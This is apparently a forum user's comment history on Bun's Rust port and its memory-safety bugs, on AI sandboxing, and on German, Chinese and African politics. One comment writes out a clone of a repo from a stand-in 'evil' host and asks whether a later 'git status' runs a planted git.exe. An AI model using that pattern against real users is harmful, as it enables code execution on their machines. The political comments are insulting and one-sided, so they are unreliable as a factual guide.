2,044 karma · joined March 29, 2021
/edit Nevermind 'just' dart: https://github.com/starling-build/starling-engine#what-starl...
Still that part is kind of cool, 273K LOCs of the 335K
You would have to completely airgap the entire cluster and put it in a faraday cage, the people working on that would have to physically be in the datacenter and burn CDs to one-way transfer data over. Like in all the hypothetical ASI scifi scenarios they always assumed that's a given, they thought it obvious we would put actual "effort" into sandboxing the AI, so they talked a lot about how AI would use social engineering attacks to convince humans to help it escape it's sophisticated sandbox anyway. Turns out they were all wrong about that part, it won't even be necessary.
> git clone git://evil evil
> cd evil\
> git status
The last line would execute git.exe from the cloned repo, wouldn't it?> heap-use-after-free crash in node:zlib when calling .reset() on a zlib, Brotli, or Zstd stream while an async .write() is still in progress on the threadpool
https://github.com/spaceraccoon/vulnerability-spoiler-alert/...
If you look at the fix you can see its all in their zig codebase:
https://github.com/oven-sh/bun/commit/621c4016218bb782e05907...
What is kind of funny is that nodejs also had a basically identical bug with an almost identical fix:
https://github.com/spaceraccoon/vulnerability-spoiler-alert/... https://github.com/nodejs/node/commit/53bcd114b10021c4a883b0...
But now the interesting question, how does the code look like in Rust?
https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...
It has the same guard in place as the zig and c++ versions, the rust code also just calls into the zlib bindings after the "write in progress" check.
So in this case at least the same exact use-after-free would've happened and they don't win anything from the rust port.
Another one was this:
> crash and out-of-bounds read in Buffer#copy and Buffer#fill when a valueOf callback detaches or resizes the underlying ArrayBuffer during argument coercion
I think ths is the fix:
https://github.com/oven-sh/bun/commit/79522ab6c579736dc239fa...
But the bug here is in C++ bindings, Rust wouldn't have helped here either.
Last one:
> double-free crash in the CSS parser when background-clip had vendor prefixes and multi-layer backgrounds
Fix: https://github.com/oven-sh/bun/commit/912970c98437e418a95b6b...
Code side-by-side:
Rust: https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...
Zig: https://github.com/oven-sh/bun/blob/912970c98437e418a95b6b5b...
I can't judge the Zig code, perhaps someone could say if this was a "beginner" mistake.
But this is at least one case where Rust would've helped, although even that is a bit complicated considering stuff like bun_ptr:
// Lifetime-erasure helpers (RUST_PATTERNS.md §6/§18) — re-exported here so
// crates that already depend on `bun_collections` (logger, css, js_parser,
// crash_handler, watcher, http_types) can route the borrowck-dodge through
// one centralised `unsafe fn` instead of open-coding the lifetime cast.
pub use bun_ptr::{RawSlice, detach_lifetime, detach_ref};
Which is a bit concerning?> [..] the seminal 1976 White House Study that provided a host of provocative and first-ever insights about American customer care and its potential for profit-making. [..] corporate America is not getting the bang for its buck spent on customer complaint handling that is indeed possible. Billions of dollars in potential revenue continue to be lost [..]
The guardian never disappoints framing this whole series around the study of some og consulting business. Who needs conservative media when this is the leftmost mainstream outlet imaginable?
Its similar to Trumpism in that sense, if you ask afd voters for example they will talk about migration and crime. Must all be racists. The mainstream discourse ends there.
From a leftist pov I think its the dissatisfaction in the cartel party that makes this scapegoating popular in the first place. There are many meaningful ways that peoples material conditions are worsening, which is ignored by the establishment, then a new party comes along and blames it all on migrants. The fact the afd calls itself "alternative" is telling perhaps, it directly challenges the neoliberal "there is no alternative" (Thatcher) / "alternativlos" (Merkel) doctrine.
Germany almost 4x its defense spending, they spend hundreds of billions on defense while cutting social and infrastructure spending. Germany has neolib austerity literally written into their constitution since 2009 (debt break), interestingly the afd voters believe the inverse, that the german government has been over-spending for decades and there is no austerity which they actually want. But they also believe the cdu are leftists so there is that, just shit in their brains at the end of the day so how do you really make sense of it?
The media is barely covering it at all, the sheep are well asleep, online some just lucid dream about the democracy they never had.
https://www.jstor.org/stable/45129546
https://lpeproject.org/blog/neoliberal-encasement-infrastruc...
You don't understand how calling you a victim of propaganda is me being charitable, I could've also called you a typical western ignorant sinophobe.
The west is inundated with simplistic anti-chinese propaganda, so you would never perceive it as such, the way it would be presented to you in the west is as the evil dictator Xi Jingping purging his opposition, for instance:
> The United States and its allies should align its efforts accordingly. That means accepting longer time horizons, investing in less visible cross-border mechanisms over high-profile bilateral wins, and recognising that the periphery is now the centre.
oh boy
> African governments understand this dynamic, which is why regional organisations like the African Union, the Economic Community of West African States, and even the juntas of the Alliance of Sahel States increasingly emphasise multinational responses.
Not to be too much of a panafrican commie here, but AES left the Ecowas months ago I hope(?) the authors were aware of this? Seems like worth mentioning, perhaps it means something who knows. I guess we learn more about what to think about the Shael states when the US or France invades them again in a few months from now.
Does average peasant understand that lord deserves his rent on the games they play?